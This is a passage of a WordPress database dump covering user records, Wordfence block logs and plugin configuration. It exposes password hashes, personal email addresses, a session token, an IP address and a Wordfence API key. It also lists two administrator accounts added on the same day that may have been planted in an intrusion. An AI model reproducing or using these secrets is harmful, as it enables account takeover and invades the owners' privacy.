(23,1,'wp4v_persisted_preferences','a:3:{s:14:\"core/edit-post\";a:5:{s:12:\"welcomeGuide\";b:0;s:14:\"fullscreenMode\";b:1;s:11:\"themeStyles\";b:1;s:20:\"welcomeGuideTemplate\";b:1;s:24:\"preferredStyleVariations\";a:0:{}}s:9:\"_modified\";s:24:\"2025-07-03T19:11:30.605Z\";s:4:\"core\";a:8:{s:10:\"editorMode\";s:6:\"visual\";s:12:\"fixedToolbar\";b:0;s:16:\"hiddenBlockTypes\";a:0:{}s:14:\"inactivePanels\";a:0:{}s:10:\"openPanels\";a:2:{i:0;s:11:\"post-status\";i:1;s:15:\"page-attributes\";}s:20:\"showBlockBreadcrumbs\";b:1;s:14:\"showIconLabels\";b:0;s:26:\"isComplementaryAreaVisible\";b:0;}}'),
(29,3,'nickname','ova_wp'),
(30,3,'first_name',''),
(31,3,'last_name',''),
(32,3,'description',''),
(33,3,'rich_editing','true'),
(34,3,'syntax_highlighting','true'),
(35,3,'comment_shortcuts','false'),
(36,3,'admin_color','fresh'),
(37,3,'use_ssl','0'),
(38,3,'show_admin_bar_front','true'),
(39,3,'locale',''),
(40,3,'wp4v_capabilities','a:1:{s:13:\"administrator\";b:1;}'),
(41,3,'wp4v_user_level','10'),
(42,4,'nickname','medusa'),
(43,4,'first_name',''),
(44,4,'last_name',''),
(45,4,'description',''),
(46,4,'rich_editing','true'),
(47,4,'syntax_highlighting','true'),
(48,4,'comment_shortcuts','false'),
(49,4,'admin_color','fresh'),
(50,4,'use_ssl','0'),
(51,4,'show_admin_bar_front','true'),
(52,4,'locale',''),
(53,4,'wp4v_capabilities','a:1:{s:13:\"administrator\";b:1;}'),
(54,4,'wp4v_user_level','10'),
(55,4,'session_tokens','a:1:{s:64:\"56e1109178cb2c09fb27117186c7623eeec1b686534e6e2289511ed18d0cbf64\";a:4:{s:10:\"expiration\";i:1789554082;s:2:\"ip\";s:12:\"45.8.196.201\";s:2:\"ua\";s:111:\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/152.0.0.0 Safari/537.36\";s:5:\"login\";i:1789381282;}}');
/*!40000 ALTER TABLE `wp4v_usermeta` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `wp4v_users`
--

DROP TABLE IF EXISTS `wp4v_users`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8mb4 */;
CREATE TABLE `wp4v_users` (
  `ID` bigint(20) unsigned NOT NULL AUTO_INCREMENT,
  `user_login` varchar(60) NOT NULL DEFAULT '',
  `user_pass` varchar(255) NOT NULL DEFAULT '',
  `user_nicename` varchar(50) NOT NULL DEFAULT '',
  `user_email` varchar(100) NOT NULL DEFAULT '',
  `user_url` varchar(100) NOT NULL DEFAULT '',
  `user_registered` datetime NOT NULL DEFAULT '0000-00-00 00:00:00',
  `user_activation_key` varchar(255) NOT NULL DEFAULT '',
  `user_status` int(11) NOT NULL DEFAULT 0,
  `display_name` varchar(250) NOT NULL DEFAULT '',
  PRIMARY KEY (`ID`),
  KEY `user_login_key` (`user_login`),
  KEY `user_nicename` (`user_nicename`),
  KEY `user_email` (`user_email`)
) ENGINE=InnoDB AUTO_INCREMENT=5 DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_general_ci;
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `wp4v_users`
--

LOCK TABLES `wp4v_users` WRITE;
/*!40000 ALTER TABLE `wp4v_users` DISABLE KEYS */;
INSERT INTO `wp4v_users` VALUES
(1,'trevorkl','$wp$2y$10$ctr3TZDgGvDg80dCqrlimeGRu.lsHjZIgpdxecUljyOd0fXiFGKxW','trevorkl','klevertree@gmail.com','https://trevorklee.com','2021-03-05 14:55:14','',0,'trevorkl'),
(3,'ova_wp','$wp$2y$10$NFVdRXvZI5ILIQ84Xssa8.nFN4Pq9TQmo9dRKJcJ.MbokdVUaLy9K','ova_wp','ovawp@ova-tools.top','','2026-09-14 09:12:13','',0,'ova_wp'),
(4,'medusa','$wp$2y$10$ITz/Yajm4pzOchLStVI/ZOFC4X.rUUEi.vHCcTNadyHXSTrXtTVhe','medusa','medusaage@gmail.com','','2026-09-14 10:21:22','',0,'medusa');
/*!40000 ALTER TABLE `wp4v_users` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `wp4v_wfauditevents`
--

DROP TABLE IF EXISTS `wp4v_wfauditevents`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8mb4 */;
CREATE TABLE `wp4v_wfauditevents` (
  `id` bigint(20) unsigned NOT NULL AUTO_INCREMENT,
  `type` varchar(255) NOT NULL DEFAULT '',
  `data` text NOT NULL,
  `event_time` double(14,4) NOT NULL,
  `request_id` bigint(20) unsigned NOT NULL,
  `state` enum('new','sending','sent') NOT NULL DEFAULT 'new',
  `state_timestamp` timestamp NOT NULL DEFAULT current_timestamp() ON UPDATE current_timestamp(),
  PRIMARY KEY (`id`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_general_ci;
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `wp4v_wfauditevents`
--

LOCK TABLES `wp4v_wfauditevents` WRITE;
/*!40000 ALTER TABLE `wp4v_wfauditevents` DISABLE KEYS */;
/*!40000 ALTER TABLE `wp4v_wfauditevents` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `wp4v_wfblockediplog`
--

DROP TABLE IF EXISTS `wp4v_wfblockediplog`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8mb4 */;
CREATE TABLE `wp4v_wfblockediplog` (
  `IP` binary(16) NOT NULL DEFAULT '\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0',
  `countryCode` varchar(2) NOT NULL,
  `blockCount` int(10) unsigned NOT NULL DEFAULT 0,
  `unixday` int(10) unsigned NOT NULL,
  `blockType` varchar(50) NOT NULL DEFAULT 'generic',
  PRIMARY KEY (`IP`,`unixday`,`blockType`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_general_ci;
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `wp4v_wfblockediplog`
--

LOCK TABLES `wp4v_wfblockediplog` WRITE;
/*!40000 ALTER TABLE `wp4v_wfblockediplog` DISABLE KEYS */;
INSERT INTO `wp4v_wfblockediplog` VALUES
('\0\0\0\0\0\0\0\0\0\0-=','US',1,20708,'brute'),
('\0\0\0\0\0\0\0\0\0\0b;','US',1,20708,'brute'),
('\0\0\0\0\0\0\0\0\0\0э%','US',1,20708,'brute'),
('\0\0\0\0\0\0\0\0\0\0э4','US',1,20708,'brute');
/*!40000 ALTER TABLE `wp4v_wfblockediplog` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `wp4v_wfblocks7`
--

DROP TABLE IF EXISTS `wp4v_wfblocks7`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8mb4 */;
CREATE TABLE `wp4v_wfblocks7` (
  `id` bigint(20) unsigned NOT NULL AUTO_INCREMENT,
  `type` int(10) unsigned NOT NULL DEFAULT 0,
  `IP` binary(16) NOT NULL DEFAULT '\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0',
  `blockedTime` bigint(20) NOT NULL,
  `reason` varchar(255) NOT NULL,
  `lastAttempt` int(10) unsigned DEFAULT 0,
  `blockedHits` int(10) unsigned DEFAULT 0,
  `expiration` bigint(20) unsigned NOT NULL DEFAULT 0,
  `parameters` text DEFAULT NULL,
  PRIMARY KEY (`id`),
  KEY `type` (`type`),
  KEY `IP` (`IP`),
  KEY `expiration` (`expiration`)
) ENGINE=InnoDB AUTO_INCREMENT=5 DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_general_ci;
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `wp4v_wfblocks7`
--

LOCK TABLES `wp4v_wfblocks7` WRITE;
/*!40000 ALTER TABLE `wp4v_wfblocks7` DISABLE KEYS */;
INSERT INTO `wp4v_wfblocks7` VALUES
(1,2,'\0\0\0\0\0\0\0\0\0\0э4',1789252317,'Blocked by Wordfence Security Network',1789252318,3,1789252917,NULL),
(2,2,'\0\0\0\0\0\0\0\0\0\0э%',1789252809,'Blocked by Wordfence Security Network',1789252810,3,1789253409,NULL),
(3,2,'\0\0\0\0\0\0\0\0\0\0b;',1789253186,'Blocked by Wordfence Security Network',1789253187,3,1789253786,NULL),
(4,2,'\0\0\0\0\0\0\0\0\0\0-=',1789253932,'Blocked by Wordfence Security Network',1789253932,3,1789254532,NULL);
/*!40000 ALTER TABLE `wp4v_wfblocks7` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `wp4v_wfconfig`
--

DROP TABLE IF EXISTS `wp4v_wfconfig`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8mb4 */;
CREATE TABLE `wp4v_wfconfig` (
  `name` varchar(100) NOT NULL,
  `val` longblob DEFAULT NULL,
  `autoload` enum('no','yes') NOT NULL DEFAULT 'yes',
  PRIMARY KEY (`name`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_general_ci;
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `wp4v_wfconfig`
--

LOCK TABLES `wp4v_wfconfig` WRITE;
/*!40000 ALTER TABLE `wp4v_wfconfig` DISABLE KEYS */;
INSERT INTO `wp4v_wfconfig` VALUES
('activatingIP','82.33.150.149','yes'),
('actUpdateInterval','2','yes'),
('addCacheComment','0','yes'),
('adminUserList','a:1:{i:1;i:1;}','yes'),
('advancedCommentScanning','1','yes'),
('ajaxWatcherDisabled_admin','0','yes'),
('ajaxWatcherDisabled_front','0','yes'),
('alertEmails','klevertree@gmail.com','yes'),
('alertFreqTrack','a:0:{}','yes'),
('alertOn_adminLogin','1','yes'),
('alertOn_block','1','yes'),
('alertOn_breachLogin','1','yes'),
('alertOn_firstAdminLoginOnly','0','yes'),
('alertOn_firstNonAdminLoginOnly','0','yes'),
('alertOn_loginLockout','1','yes'),
('alertOn_lostPasswdForm','1','yes'),
('alertOn_nonAdminLogin','0','yes'),
('alertOn_scanIssues','1','yes'),
('alertOn_severityLevel','25','yes'),
('alertOn_throttle','0','yes'),
('alertOn_update','0','yes'),
('alertOn_wafDeactivated','1','yes'),
('alertOn_wordfenceDeactivated','1','yes'),
('alert_maxHourly','5','yes'),
('allowed404s','/favicon.ico\n/apple-touch-icon*.png\n/*@2x.png\n/browserconfig.xml','yes'),
('allowed404s6116Migration','1','yes'),
('allowHTTPSCaching','0','yes'),
('allowLegacy2FA','0','yes'),
('allowMySQLi','1','yes'),
('allScansScheduled','a:2:{i:0;a:2:{s:9:\"timestamp\";i:1789311054;s:4:\"args\";a:1:{i:0;i:1789311054;}}i:1;a:2:{s:9:\"timestamp\";i:1789570254;s:4:\"args\";a:1:{i:0;i:1789570254;}}}','yes'),
('apiKey','5367f7ce154d37440e85edd1d36d536a6f274e56ed78c59c0c5e21e133e7ccf8637af450df2f9f79e6d82cc4f03967aaef5a635c6c0d66ced9216b3f049afb8a','yes'),
('auditLogMode','default','yes'),
('autoBlockScanners','1','yes'),
('autoUpdate','0','yes'),
('autoUpdateAttempts','0','yes'),
('bannedURLs','','yes'),
('blockCustomText','','yes'),
('blockedTime','300','yes'),
('blocks702Migration','1','yes'),
('cacheType','disabled','yes'),
('cbl_action','block','yes'),
('cbl_bypassRedirDest','','yes'),
('cbl_bypassRedirURL','','yes'),
('cbl_bypassViewURL','','yes'),
('cbl_cookieVal','6aa5ce2174aca','yes'),
('cbl_loggedInBlocked','','yes'),
('cbl_redirURL','','yes'),
('cbl_restOfSiteBlocked','1','yes'),
('checkSpamIP','1','yes'),
('config701Migration','1','yes'),
('config720Migration','1','yes'),
('coreHashes','\0\0\0\0\0\0\0$a:2:{s:4:\"hash\";s:64:\"1edba14109a38ca93428b278251a376f17bce50294562fac9e1c145310b2b346\";s:6:\"hashes\";s:203264:\"\0W7ht#	q)d$\0\0\"Se{6U-tX/ˈ||\0(띰xJ{hϮ%\r^:(5\0(ZYY@Iqȗ#T@\0+0ߨP;PO\'^p|NsN6d\04ߗt\\vQ޹\'_ajxҦ\0AW_lPjՉrTXV\0E=jȋ|p8.½֤SGp\0[eL-Ov\nör\rM˼\0^N弘ae|K-ܰɜ=\0b&F%|w*Qr;|/=(A<\0BP}eGu6ؠko\ZC\0#B5j$#j!bNj\0ۧ4(KI|0qD.^v\0veH ?T00c܈\0iք\"]^XD2](\0/o):4]_+̔c\0˼o%?NWǏN{j\0D9\0e*@t\"q	ȐN5H\09wi5}h\0Z̈~0=G#CZ}*p\0-bsG\n(hr\Z.n!ez.Yx	b?=iFFS+vTgLm.5BE{V\\,SSsK=\Zw.z[; eN3@u<5\\Zt7iL)6	jnNؤ^}0[PKXs+ȉ0sD;P=\'2	\0Df2\n#XI,حU4lc+N\ZvXV*t\0n^F1pbN\nawS[U`|WSPD羟Nhb!#8i>kq6RE5:\"h&_PA0);:`YIa]묜qsBDxgrP{/*1#cN>-kEnYM@?l;Bi.qXA4uU+ױϱT_^gyzGL\"1U}6:l|(㜦q{V~u<Dho*cϬ0xcl$	4mD\'\'K˞A\r7.\0qo`vA:`{rf_S3/xx_̎d㟢`V*usm?d^͔0X0#q-ml*\nC!i٬u/EtT2\\\n^#AXMh/\"Шs8I/b\\#L&$FΪK#\"`ԈMCWd$2]%*6\\dpۛ!s%]ZYoݿr;G\".}2g˲+gt_y.5 }x(r:a,zmKH1|/+8RPAh>lM;y6J=NB]u9a+855#pPsZFԤoD-x?<uqXQ7ai\rICpEKykѩ}ˣ\\$p\"&p+^\Z{5|f㵅SLo3ExѥUq`0H01YL$RRAhJ6Mw:/7.ڏPh.BU-ї\'Tsz+ppHaP04D!2{F͹|ItC*cǆ>L4nUp\0w\n˒iYIÿIi~A: 0Z\Zp8$h\"d3\\pYQᣎK4* ң.\"*Ϟ\nfSo}_:ׄ8N.E_v/x0(lL[~yBASu/{R\\e-xFh!E1~8Jc<Fh}Tcm<a8F\'-*0ĚO&p<6yfVPSBޗغKu\0Mx>]Z\"z8ŎVM˻yULKCWa\\ˁ\n;0Ġ\"fАΟ\'\r͍DdMsǿڴ$2j),\n\' #69\n^	nt\"V8M@H؟Q[S$ږmK2efte4\Z]oT1Cm:CUsrAŢωT&1R?s.	6|\Z3~d/rmF1jSFhGG.fVy`)\".o[`ϐ\rnjnviU\n@,+!%u	re4+JuP$)Oy\Zg`J\r5n]S̓&t,WNP2\"Ş,|^y޲/\Z(A-pc[gPHl:e+70odϵo\Z?i<8X1]/ƅBMj:@ѫG+Sfd6#Rlι؂3%+`HVOHɵ!Tb8n;H/J#04,$|Vi\n6Wԑ\\<OEj2Qq5<q ZS\nUR$|-{pR19Bb%A.j8ɉؾCQw\\he\Zvl;9	uic\rpQ활\r?cLTӊqgȫ?crȸtdB\rTJ,Q$TDh((ZdzvO_;ƀEpY.&}_SnR\'X^khɑi7d*Y®s<!)܃J¬ܘD~%Roc7\rL$CY7M/ (ւ;&}<&>1݈]^]RɢNFMJ,iI.2 >1Z;ר1ԁ$!W:LRdF@yoFX.1.wp\r+`btPc	SxDq5/w_W:+f1zg\\YmxGO0jo].㖽gclPJ;/vwXV/]WzB=f~:NFa6ա\nY \'i+`fGYbmUPMJڡ0&#>|A|F>4A\re&:\"Vwe?!*Od(,ĽOv)i$^:bTP%@1\r\Z,Wl޿RCvM$O4-K	o6lb1E;7x?-ǱZzE*nkEm@1sY#1$\Z=IbXBr?ͥ-!i>`]wBκ@kp&h4ԛ2mI$=D֛&Ǿ@+բqO.x&*p@lΒ/kz=i S\Z\Z4ڶ1523\r#?EQLIm$ZB\Z!&͖Ck`7\'/]i5\0h04сp\no@*G[OJP,j2SC+2f!OgveCh]N;䨸f~ߨW979P7%%-)^\\\0t`k@UOŔcp>!8HB6=b!nz\0OS~K|$TlJ>REvtIkXe]2\nt[AbOwf\nTEg\ZU\rwB;$ΜpMvSb¬ruBfa`KO+-:v&y3%,PA=[$R$-Zi\'uS<8!6pVݓq}I}n-{]sN-o4 6鎬M&$!2d<\\	|\\?g\n;d/Ѓvl<pe1yYrjLA\"}I\n&{mcK1AQCWCmci_vf<*KNeӌ&ЎuѡIqtn~OFsoKL*(\nb`fNXsSԚ\\S]T	_j-%?70i}eiZO&E+rXe{emX<:KSm\"؋);ӦƘ\ZL_;y{r>K^sVS2oH֏_)7z_oeŭy^/?h;@rK%LPfc(|_]U͒o~MEsRpdF[\'r5l蔝媀Xec2BZ	Qjh!>&BkF~HvcwTi\Z}2;@ss@Z2]i](J~n3ϝـhjqo2kLJQc\08|VD>Ι+N\ZF|#4m=9cuANں)\rmMADos,$gJ	Ŗ7l}aw|gRLh!1R&\'kD\':8YިKAa-RHT(:=ߤ\'\\\0|8(]xZvJ+f`!h$|zAb@YO9\\O~S$ً6vgAќʋQ?j`JN]0&b\0V?9\".I3P+>ف[!:?-%6.2r)rk+`NiM2]<	h\n˥O35F\\\0,vS+p\n.\rJ*RT	!A&UBtG=_:\\]>i?η@ڹaKպ*Խ+]ҮgƉ^62G\rS|;iDW:fLw ]X)$=Xn!l=@A:V56Ux5Px&:VV-qXA9M4-t\n{}MI	AE0N.T0b([oYd% +[B f<3)|xZq@51aIxMOYU\rZ%9\'ZY*I7C|Aot1#4䂹\Z\'&8\0m9;:ͼff)I;Poi=DᎯ0Slhsgܺ{,ƦLX-Q9=By/?Z)\Z|<\nx*i.kT!Ȃ=4(SPYB\ZddIX	x	Ӗ\n럌uA,[-gkA\'Y6lMn\'=Kd`h`P*ͤ!j1m!~Jz|垝+WƣVFY\n+f$̘¸ہ(ፐ8)\rO]Y<y}\Z>ɺHI|PBbe^Έ;VT1cj] k podf?jrYe|Hh>,ecRes5-D=<:3ϩM>r6Ԥ%zuۇ7}F[yx]kݭYr9IV,C2\"Vlp]l2Pf>Kp֚Jbvw`*wC\'&tӓ&}d= AmlKPx*ߙ\0LK}fEً\"SqA2#9s7k1jL8I8u=\"z~vC	$}*ʘ)>2qe^)PYSYOOc1tjxRTBnGfR@Ol,>iv:`tQ*8\'<\nJ;H`Q؝6pqa%\r	\"An3HIs:Yae0BҲyPp\nﭾ!Λ&Ʌ\'M4BS+\'4&$ءVggog~m/W,#XzNZl+1/	6<\"@oИ[\0i48ꭁK/&t+s\"#:Zܯ4㓉&_ ՜\"{뷶SMMtY$\'9w]0\":\Z+ڢ6ay9l]h&6\"xF|w`AZ_+vL\r}NPEa!Zq\r <gxXg@\0&Uv	l,s\"\rm`YדUX^Ms6RH@	&冾Bx@d_.Tٟ\":g]Lm8kߵ%<z$sQ\'`!ԤLE]W8v5{l2h&g	`R#UOPgsHo)nWr91{|;\n$ynȚhME:z@*9Vμ[EBu}<<\Z..U,fںNUqxVU]\Z#d4*?dQ]Bx.|9D:h@Q/U\0-|_ۢ1g-+}Ԙ!^iBJ\\W]f@@w=	$+jGex(q`=?Lzs>G	.]kZ1љmG]x0	.(dG\rbRM/Ƨx\0ev	0FpMGDsR{E@MڂW	64 2DMM$\r澐i\0	8\\ŬjAʔ5+XoTm_|	`(	^6N p5\0h\nMh쑂2	g)[.r\noi{4Q\n\r8H\rfX	vlٮ!Pm\n6|ϔK	~Cȫ7:s&ujt	+{Rلnt,Ǟ`|U	,5KVť۫\Zcjϣ5jk	֓-\nqUi-$h*ml	WA2Lh`i%iv2޴	VhLC»>U8.`@<Kh	ͿU%OHޡ@~x\\6~\n<:XhQATop28>\n*<ӳ?HM\'VL\'[R\n)Ig [\n̾+\nVY\"׳\\X@;t<H\\\n@&[DqSBN#FB\n#\\,--*N	Vӻ+:F Ӹ\n*An.]Btv!WҧMw9F\n+P_tQVo7n\nz#8J\n1V<WkNʹ_Q5~¼XM\n6k55]8r+>\\7zk.\nDfdvPfOn:aгX\nNVùs]]Np`Rx\nP1\rZUJMo\nT\0	>@:E1\nlآsL	Vnr(\"b^ŧ\nv?u	fh62B?2\03}\nxmnV=OD\0T)U\n}.ve\n?.zE+ɡ\n\\_9()7\n/S\'g߃v\n9dg~@|B-ڐ6=\nT[Cp(,_V+L\rۨI(.\nsHчc -y//?\r$M̤j3\naqYKJҔ΀p\ZJj\\P\n\nڷtn\rEanJ;}(ҙ.9\ntE\\G\rgd4eF`+hK)CTWG\n W\"w\05S Nrh\nC0pFdl\0\"u~2\"Tp\Z\nv[\0XZppi.c;~&\n&)h4_`FL<:`#pf\nRW#ވ Qē4E[\'z\nlR\'iANCѺq,cMu_)\r\nS/̼#@%,ul$tT\r)kOdS0Xz_\rEAh`łAa3)TU?61kK(]1zukpR!YCK.c~[&\'1SSL{z),\"wWSJǲKSuᾒMcccdD(QVqQ1S/cS(UUĴ|{\"׳Ny2\\\ra[J?T?Gd(sh\ZU_\r[:Evb{v_6+q)ź(1),tBUI+uCRwiNԦ#Ӭc}C֛\"SF2>3`v\':js(-N֠N3:VS;CT\n]CrJ2m5CZ\0/@@11@O{71}n7`ȂW<Dծ68g\n)ezl1MH&S.>UB|2ӜOU}(԰,w+I3p/r\"!^IVuC~DxuUZ9yTfLo&qBpe:-\ry1R~qz̹=䆀0j24\n:Wn\\C2tc2ĒZVR顃[l#4>/\ZtZ4^@MB)PR[,F/Ý%2sZO	`I9zZ1εEl|lh]:Yň3	\\gm̻1)q+#b^0rR3!xY?2=^&ɫF<No3L^|2ZWctVҰzo_ҲYn,J́TNB(-iDrȭ!wzL{Jy7-j4{g4O\\M!mG鴞Y[kEn#XvipVNeBG!;wR:M7KkRD. L9%SJ*n\'ͪt^VɹOb?C=P\nEHgpEjbc9rA&j*f~*(7Y(Vz|%\0\'jcm)(ah<<Elص$hTC՞N8kȺyKvk5ukY\\/IKå)Ej*<I\n(x$C\nm-BYVAlͼ2VS#nX6XDUT=1O@,x )\r&d5s/,\"dҙ9:EO_Q֮?k-h_J.&t8&mKX+CƆ\n!;[oVSm(ų1OZ}m2_71]S	xp cOTnb`P˴CzcbbLݟu]>sO{w22\rމ#<*Qf(\rwv${E+CnPC1w?\r}䟹-V\'eCCʅe-2,0\r)ir,(U,=OiATTc!\r1?;IB=S\Z2֥͐&׆ZB\rNIYԯ!6)IY\rQi^\ZB|fC-/rUY٢B\rX[cdpSs3%.X|Aw#(JL\r]EiCvEF{yD|JPf\ra{p9(A)ˡ̮SPVs6#i\rnu:Ft\Z\"P9qPRPA\rGϺ	<}֢BeDZ,m*hv/WB\rk<vWPvg(Hтc+d7\rC줢(lܶm݈<텽Z\rYtW^}rIxۯu$/dMk\r@(T|H@\rxJ߰K\rU:w,&Kp&\Z\rbۿ__a%,ߍg\rM\'7B MfPLBKo\Z!SJºy\rT@hQFM])\rXd	D\nqbc\Zu\rmh5+Se91D]Z__?4U\rٓC7,<p,L~rYs#\r\"(qq6ZNş&h\r\n*J6V^%W\\y\rZ2a,%Nyu+Sõ\rr`]\']i.49V1\nwOQ\0@:GC)̦|u9 Z<Pr?s2\'h?II3z(BGQ#`pS:eJ&/ʝaɋ`\n}\Z\\x+G\\%RO6}㕓悫-FkRV6G_e\r\"}Q^uYtYsNldU|7tUFYn[\nק\ZZ\r\nd.ji!!aIWRHjwHBBuXp\0bUe$Ok5E@yWg\')2Y_11]Q[7*a3ǾhNgB7s|9S-L,Uc\\ki6uJ\n3*KviA&4=Dq!蓸֧f;4PZeO!vx.e8jY0\Z5\Z\"\Z6ga\nn6ؒwӏ	r& *KPKN,5ߍY9!PP1S/0?U!͝R}KvY3sȓӨ\rN6??Zvw=2H:)x.XBR{ʱfJ.pT&o\\JtLUoL~)6K5S$ʂ8⡧5gg73lsuؾyZwڠ0YE\0身i\\:ֆY9nw$Jd#$5\r|7wq;,rLX\\35qv.R߼h<<thD$\\,t\0_gX%4.tP]>JT4=Sh+jK!o:[rh1l$y,`pMj]#WBTm33)0fPqÉVSy	7gy\Z]OYTbPǚ昁FM(b;ˏKg&\n-nzEWY~R\Z+}}GZ:,6˕gϲg.YRX,Wn\0o\Z Ór;wc@2,P0wH^N&8HuH,9x`ՁdZvs.k\Z5\0yX$j뤋I8@t={9v>:̷M\Zϵ\rBt\r3i0bnj:$L gramM/eDkGXY4юh59rqj2^0tC Y\nH$$T̞}^pfO]ǭN3%\r\\-AJ:YbϪlaj&dW8iKs5	]?!2qػ{?Do nO=+goYqa|\nk3L#LN}\ZEO\\0uFOR\Z)ā;S\'bN<vwLSڻsT|>Qi}GD7OF5BNov:A_-3x\ZJB@ky50gPL/(O)G.GnE\"L·_ Ok+pV5m\n/나\nQ(;4.`Rw#?z%D0ʓ8)Ǟ!Tuwmt5o\n2A\"kߚz|lSPpkGM8ԹfEx;˝O[J`uOv&_-]E;|x$(t`\"/\Z=`>&oR֫	ڲ}Z	w%((j>t 8p91D4*,S9Q6IۍI\'[\"|`BE&.(vSkLUe&mKF.xQ-J4);\r;)6qi9C2td64KծAU)۳!Pdlw+>;O-Bx۳xxDTB(D&LhyML)\\VH3_@AJ!_drNdG;Ϸ6<wj;V4dhTV\niЎ$>,84.\Z]7#WkԷ܏>Dj,pk~*d}[H?iK[i/(^aU`RfYrwhD3CJ{b\\4c-Ȝ)͗۷@c.V_;q:uMXbWZ`-)3|\nK&P?-[X[Eض\rSky%/-u_EC?oTgNLC\"M61ɿ\\)ji]jP\\$l3$I iJb኎3˔@~e-}0CӸmb#6C2ao2ᨁFˁLW%\rVJ~p$P(quF0B|ӝlWz6\0RS;\rs}o%XOwR	\\B;zb#qlESW-5s	pF]WzC	;?c}!\\H0F}crl1J0NIyET9v,WыʀKK#\0f羀G~poPq9\rbL\\92׬n*PP\0Aw:oHRRESGʏT-a*Qf,S7q̓<U*\";br^&7jFőұyZA\"Y!	=y;&ۆ޹[rDbNv㤄\n\ZwrkHuEN/JYgSi)N]o}0<,eS</ܓ8CT2IUXjF\rPJ6\\d$Se=g۝JްS0ilww4:\"D!c+3bH0`#\0\ZAz ,T[ٛmӞp\nB<\rL.E=[Z\r#A@f31_<v(QNYCwo}z/+x\Z83ۀTё/*2^oܰ\n0\01x?F(8V/`8Іt2:]XK%	EL償6X?HwHSt#Nm5ki󄽎Iմ8lUF{v)(y.Q~t~nF^mKYN\"[I0ա(D-hq	<\r thRDP>(F-$>QA*0l[G}\\} )ՕauVԍ;H\"wOA)7\r&8bI{bɏ,WIgwŧ||kDL`B~YJ )=a:$]$\"N0DU[A7EOxƟ:Y{ 2gXzjE+-}^d.\"\\Z+j{hN.m۩+6r0_$R@ݎk2W_UGdjUY\rρF%\\V[z7kOZP2\r\\{N[M>_.?pEkKO$ʗ(}{*1\ZpbNZI&9*V?F\n\'qX{4a4=PҞ%^\\$rfz;@h謬&f{2T,Jgtbw~AeD1kn\naa]~KObH$(\r_\ntl	6Ax	70)P;\01M{}i6ާh`G )U\r:pKBR_Eߍ\n}HNf΍0/,uI)-[\0=ֹ?+;Q/׬W/{lDAURprmm\rF6طG%Cy*m?۴/\r!iAHK2w:%.;j@۴)H&RװwqwmvGP3\rǣRwciFz\r_c;QAJRQ6}%\0wQ1h~Bzd$\\4Btn5rN`o#6׺ʌʤ!gy{8٢7\n\nQ4Hw@8<Sn-GaMRAӯgT1^0>\r劸֬+)7X[_u۱H]\"¡`nrXa;?~Rq3ٽR ar\0B;е=S@dc]rRּn <6<c=ORvBn|JIn;51VD/&9\'`vUQAu\rbSK6ǐHiI (.fOdx,0XlJ.*Js9&$\rNZ/aUƏ`dL?>C|^vs_%W\rJ*fzKHvM,,z㡫?jk[0}y(vSy\0Z(xwsOSbG?e?q7#pjڥ|ɨ\0Yc=sJ<k><)lɰ=82>iBx\ZsJ^mUi\Zuh, jV\"a3(SD摲՚O|aV3EFW^@l24K<\\/#\Z}Ⰱ\0Gc\"*&/__^7\rF[KzMr#6hq	:@߮\r0lҞ6jZmcvkNu9_Q|N+GFvr2L0Ld7>ٖt.®(~%frx 6o]O\\sM\nT27oڠCg`c˰mupa\\|/Jy2fy(4KqbQX{d*P\nz2qt@WkmxGV͒׵pz8^VcÌ?ossS9ҞlW8EF/cn%}Wk訍n!>x\\h|,e0?s4n,Lmu\Z^΅hU}1}=zi1Y2&ۑpAU%fG<+HH4ywy\'hzx\"v\\p$bo)cHvSn_(aWcʹA`kBʜѮ,2S^ú2K\nb=FpusV9-% N։		w2\Zu:w,̀D\Zѣ0?ޖft&!-U89e\n!I9KWǼ?_IaYOrgY/~UJO.ŀ#E5*\'Cqk?R0}<̤. $^$mw޻`.A_[rE]J#+ߘ4D,EǡGfy5ܟ@n,h\"4ϢH{cI(>FXEgfX<4q.Z64N`PN	36M[yFRDm:zʵy^ȹ~xծȐ$kbpm\\,T3y?PԈ+oKqraUWjj:MSC\0EpڎU=\\ف2%72B9e|D{1\0>N$)*P<`RNңזzWQiMH\ZV9k\r?rqQe-=Ozγ2z!.w\ZFPASӃPlZN!&Qw|c;\0,2aڢUPrYo:W3\"6uxh\ri$y+h?j魾\Zb3sJ)Sئ3)]TCˎ1B\"$Ϥ_Y[^e\n41LHݩ̨<W`e	U&zտRB=PK	e`hp,-n};F \ZlGⰯ0ucTnUpg/q@Q!Xw>7.l8N\ZeV:܉JoѾbHA|U7jЬ5LX DiU(leQ,	naTߌCӀ#@{p\n\ZoϮչ\nć;@b)T6Z06w&fU\n`Vr{ӏ=O eޗ\\̅hLTYU\"V1	]98}.@\rf[ɖ&t#`B!I~{^!y|oâF1^g+fV`6)	5Z`\rw1R(!@Om\n.ESjrKuj%pA9Xc<_:l#(ǀv)ɣ,ĹvV-nzWE2D